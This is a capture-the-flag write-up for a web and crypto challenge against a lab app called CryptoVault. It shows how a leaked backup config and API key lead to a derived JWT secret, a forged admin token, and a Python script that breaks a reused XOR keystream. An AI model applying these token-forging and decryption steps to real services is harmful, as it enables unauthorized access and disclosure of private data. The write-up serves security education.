Days of Future Past
Category: Web / Crypto
Difficulty: Medium
Challenge Overview#
CryptoVault presented itself as a secure frontend application for storing encrypted messages. The challenge required chaining an information disclosure vulnerability to a JWT forging attack, culminating in a classic cryptographic exploit: breaking a Many-Time Pad (reused XOR stream cipher).
Step 1: Reconnaissance & The Backup Leak#
The challenge started with analyzing the frontend JavaScript (app.js). The developer left a helpful (and fatal) comment in the configuration block:
// API Configuration
const CONFIG = {
apiBase: '/api/v1',
version: '1.0.3',
// TODO: Remove hardcoded backup path reference before production
// The config backup at /backup/config.json.bak should be deleted
backupConfig: '/backup/config.json.bak',
};jsNavigating to //backup/config.json.bak revealed a leaked server configuration file containing an internal API key:
{
"api_key": "d3v3l0p3r_acc355_k3y_2024",
"app_name": "CryptoVault",
"internal_endpoints": [
"/api/v1/debug",
"/api/v1/health",
"/api/v1/vault/messages"
]
}jsonStep 2: API Enumeration & JWT Secret Extraction#
Using the discovered API key, we accessed the restricted /api/v1/debug endpoint by passing the key in the X-API-KEY header.
Request:
GET /api/v1/debug HTTP/1.1
X-API-KEY: d3v3l0p3r_acc355_k3y_2024httpThe debug endpoint returned a goldmine of internal application state, including the exact logic used to generate the JWT signing secret for their HS256 algorithm:
"auth_config": {
"algorithm": "HS256",
"roles": ["viewer", "editor", "admin"],
"secret_derivation_hint": "Company name (lowercase) concatenated with founding year"
}jsonBased on the company info provided in the same JSON response (CryptoVault, founded 2026), the JWT secret was trivially derived as cryptovault2026.
Step 3: Forging the Admin Token#
The debug endpoint also noted that accessing the /api/v1/vault/messages endpoint required the admin access level. Since the application used a symmetric signing algorithm (HS256) and we possessed the secret, we forged a valid administrator token.
Using a tool like jwt.io, we crafted the following payload and signed it with cryptovault2026:
{
"role": "admin"
}jsonPassing this forged JWT as a Bearer token allowed us to successfully query the vault endpoint, which returned 15 hex-encoded ciphertexts.
Step 4: Cryptanalysis (The Many-Time Pad)#
The vault endpoint included a cheeky note: "encryption": "XOR stream cipher (military-grade*)".
A stream cipher generates a pseudo-random keystream that is XORed against the plaintext. The cardinal rule of stream ciphers is that a keystream must never be reused. If multiple plaintexts are encrypted with the identical keystream, an attacker can XOR two ciphertexts together to cancel out the key entirely, leaving just the two plaintexts XORed with each other:
Because 15 different messages were encrypted using the exact same keystream, the encryption was highly vulnerable to a statistical “Space Trick” attack.
Step 5: The Space Trick Automation#
In the ASCII table, the space character (0x20) is unique. When you XOR a space with any alphabet character, it simply flips the casing of that character. Since spaces are the most common character in English text, we can statistically determine the keystream.
We wrote a Python script to automate this. For each column (byte position) across all 15 ciphertexts, the script assumed one message had a space, derived the potential key byte, and checked if applying that key byte to the other 14 messages resulted in readable English characters.
import binascii
# ... [ciphertexts array omitted for brevity] ...
ciphertexts = [binascii.unhexlify(c) for c in hex_ciphertexts]
max_len = max(len(c) for c in ciphertexts)
key = bytearray(max_len)
# Statistically derive the keystream
for col in range(max_len):
space_counts = {}
for i, c1 in enumerate(ciphertexts):
if col >= len(c1): continue
assumed_key_byte = c1[col] ^ 0x20
valid_chars = 0
for j, c2 in enumerate(ciphertexts):
if i == j or col >= len(c2): continue
decrypted_char = c2[col] ^ assumed_key_byte
# Check for valid English ASCII ranges
if (65 <= decrypted_char <= 90) or (97 <= decrypted_char <= 122) or decrypted_char in [32, 44, 46, 33, 63, 39, 45, 123, 125, 95]:
valid_chars += 1
if valid_chars > len(ciphertexts) * 0.7:
space_counts[assumed_key_byte] = space_counts.get(assumed_key_byte, 0) + 1
key[col] = max(space_counts, key=space_counts.get) if space_counts else 0x00
# Decrypt the payload
for i, c in enumerate(ciphertexts):
plaintext = bytearray()
for col in range(len(c)):
plaintext.append(c[col] ^ key[col] if key[col] != 0x00 else ord('*'))
print(f"Msg {i+1:02}: {plaintext.decode('ascii', errors='replace')}")pythonThe Flag#
Running the decryption script outputted the 15 plaintexts. While the statistical nature of the attack left a few bytes unrecovered (*), Message 13 clearly contained our target:
Msg 13: *** r*al f*ag is apoor*ctf{3v3ry_5y573m_h45*4_w34kn35 } and *l* others *re dist*actio**
Using standard CTF intuition to fill in the missing gaps, the final string was retrieved.
Flag: apoorvctf{3v3ry_5y573m_h45_4_w34kn355}